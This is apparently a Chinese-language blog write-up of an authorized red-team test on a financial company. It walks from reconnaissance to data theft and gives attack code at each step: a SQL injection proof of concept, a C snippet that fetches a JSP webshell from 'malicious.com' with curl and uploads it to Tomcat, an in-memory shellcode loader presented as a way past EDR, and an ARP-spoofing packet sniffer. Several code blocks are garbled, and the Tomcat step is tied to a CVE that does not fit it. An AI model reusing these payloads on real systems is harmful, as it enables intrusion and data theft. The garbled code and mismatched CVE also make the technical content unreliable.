一、真实案例中的红队行动
在一次授权的企业内部渗透测试中,我和我的团队受邀对一家大型金融公司的网络进行评估。目标是模拟可能的攻击者行为,并识别潜在的安全漏洞。我们采用了一种完整的攻击链,从信息收集到最终的数据窃取。整个过程不仅展现了红队行动中的典型技术,还揭示了企业如何在面对复杂攻击时进行防御。
信息收集与初步渗透
信息收集是每一个红队行动的起点。在这个案例中,我们通过公开的资源和内部测试,识别了目标网络的主要入口,包括几个暴露在外的Web服务器和员工门户。我们使用了一些开源情报工具,比如Shodan和Maltego,来全面了解该公司的网络结构。
一旦我们掌握了足够的信息,初步渗透的目标就锁定在几台未使用最新安全补丁的Web服务器上。通过检测,我们发现这些服务器存在SQL注入和未授权访问漏洞。
以下是一个简单的SQL注入POC,利用Python与requests库来实现:
<pre><code class="language-python">import requests
目标 URL
url = "http://target.com/vulnerable_endpoint"
注入的SQL语句
sql_payload = { 'input': '1 OR 1=1' }
发起请求
response = requests.post(url, data=sql_payload)
检查响应
if "expected_output" in response.text: print("[+] SQL注入成功!") else: print("[-] 注入失败。")</code></pre>
通过这种方式,我们能够在数据库中获得初步访问权限,获取了部分敏感数据。
二、权限提升与横向移动
权限提升是红队行动的关键一步。在获得初步访问权限后,我们必须找到一种方法来提升我们的权限,以便能够进行进一步的渗透。
我们使用了一种经典的 提权漏洞,即通过滥用不当配置的服务权限来提升自己的权限。目标网络的一台服务器上运行着一个旧版本的Apache Tomcat,我们利用CVE-2020-9484这个漏洞来实现从Web应用到操作系统的横向移动。
<pre><code class="language-c">#include <stdio.h>
include <stdlib.h>
// 利用代码 int main() { // 构造恶意请求 system("curl http://malicious.com/shell.jsp -o /tmp/shell.jsp"); system("curl http://target:8080/manager/html/upload --upload-file /tmp/shell.jsp");
// 检查上传是否成功 if (access("/tmp/shell.jsp", F_OK) != -1) { printf("[+] 文件上传成功!可以执行命令。\n"); } else { printf("[-] 文件上传失败。\n"); }

return 0; }</code></pre>
这段代码利用了Tomcat的弱配置,上传了一个简单的JSP Webshell。使用这个Webshell,我们成功地实现了横向移动,访问了更多内部系统。

三、Payload构造的艺术
构造免杀Payload是绕过安全检测的重要环节。在这个案例中,我们的目标是规避公司的EDR系统,以便在目标网络中持久化存在。
通过对目标环境的分析,我们发现公司使用的是某款流行的EDR产品。我们决定使用一种 动态内存加载技术,以在运行时将Payload加载到内存中,从而避免文件扫描。
以下是一个Python示例,展示如何构造一个内存加载的Payload:
<pre><code class="language-python">import ctypes
加载恶意代码到内存
shellcode = bytearray([0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0])
创建一个可执行的内存空间
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

将shellcode复制到可执行内存
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), shellcode, ctypes.c_int(len(shellcode)))
在内存中执行代码
ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))</code></pre>
这种技术让我们的Payload在内存中运行,而不是磁盘上,极大地增加了成功执行的概率。
四、流量捕获实战
在获取系统访问权限后,我们开始进行流量捕获,以便窃取关键数据。我们的目标是识别和跟踪敏感信息流动,并进行适当的数据窃取。
我们使用自写的工具进行流量分析,结合了经典的 Man-in-the-Middle攻击 技术,通过ARP欺骗来捕获目标数据包。以下是使用Scapy进行流量捕获的示例:
<pre><code class="language-python">from scapy.all import *

ARP欺骗函数
def spoof(target_ip, host_ip): packet = ARP(op=2, psrc=host_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff") send(packet, verbose=False)
捕获数据包
def capture_packets(): packets = sniff(count=100, filter="tcp", iface="eth0") for packet in packets: if packet.haslayer(IP): print(packet[IP].src, "->", packet[IP].dst)
启动攻击
def main(): target_ip = "192.168.1.10" host_ip = "192.168.1.1" spoof(target_ip, host_ip) capture_packets()
if __name__ == "__main__": main()</code></pre>
使用这种技术,我们能够捕获到关键的数据流,包括内部邮件和文件传输内容。
五、检测与防御
在攻击行动完成后,评估目标的检测与防御能力是至关重要的。通过分析,我们发现目标企业在多方面存在不足,包括对流量异常的检测能力和对系统日志的监控。
为了加强防御,我们建议企业采取以下措施:
- 加强日志监控:通过实时分析日志,发现异常活动,并及时响应。
- 加强流量分析:引入AI技术,提高对异常流量的识别能力。
- 定期安全评估:保持对漏洞的及时修补和对系统配置的审查。
六、个人经验分享
在整个红队行动中,最重要的是保持攻击者的思维模式,始终思考如何突破防御。在这次行动中,我学到了一些关键经验:
- 灵活应变:在遇到预期之外的防御时,迅速调整策略。
- 保持低调:始终保持攻击的隐蔽性,减少被发现的可能。
- 不断学习:随着技术的发展,攻击手段也不断更新,要时刻保持学习和探索的热情。
这个案例不仅展示了红队行动的复杂性,也体现了不断演变的网络安全挑战。通过这次经验,我们更加深入地理解了攻击者的思维和行为,同时也为防御者提供了宝贵的改进建议。